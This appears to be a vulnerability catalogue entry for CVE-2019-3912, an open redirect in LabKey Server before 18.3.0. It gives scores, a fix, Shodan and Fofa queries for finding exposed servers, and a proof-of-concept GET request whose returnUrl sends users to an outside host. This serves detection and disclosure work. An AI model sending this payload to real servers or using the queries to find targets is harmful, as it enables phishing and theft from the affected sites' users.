| Title | LabKey Server Community Edition <18.3.0 - Open Redirect |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information. |
| Remediation | Upgrade LabKey Server Community Edition to version 18.3.0 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.08738 |
| CVE ID | CVE-2019-3912 |
| CWE ID | CWE-601 |
| Shodan Query | Server: Labkeyhttp.title:"sign in: /home"server: labkey |
| Fofa Query | title="sign in: /home" |
| Tags | cve2019 cve tenable redirect labkey vuln |
LabKey Server Community Edition before 18.3.0-61806.763 contains an open redirect vulnerability via the /__r1/ returnURL parameter, which allows an attacker to redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /labkey/__r1/login-login.view?returnUrl=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-3912.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-3912.pcap
N/AN/A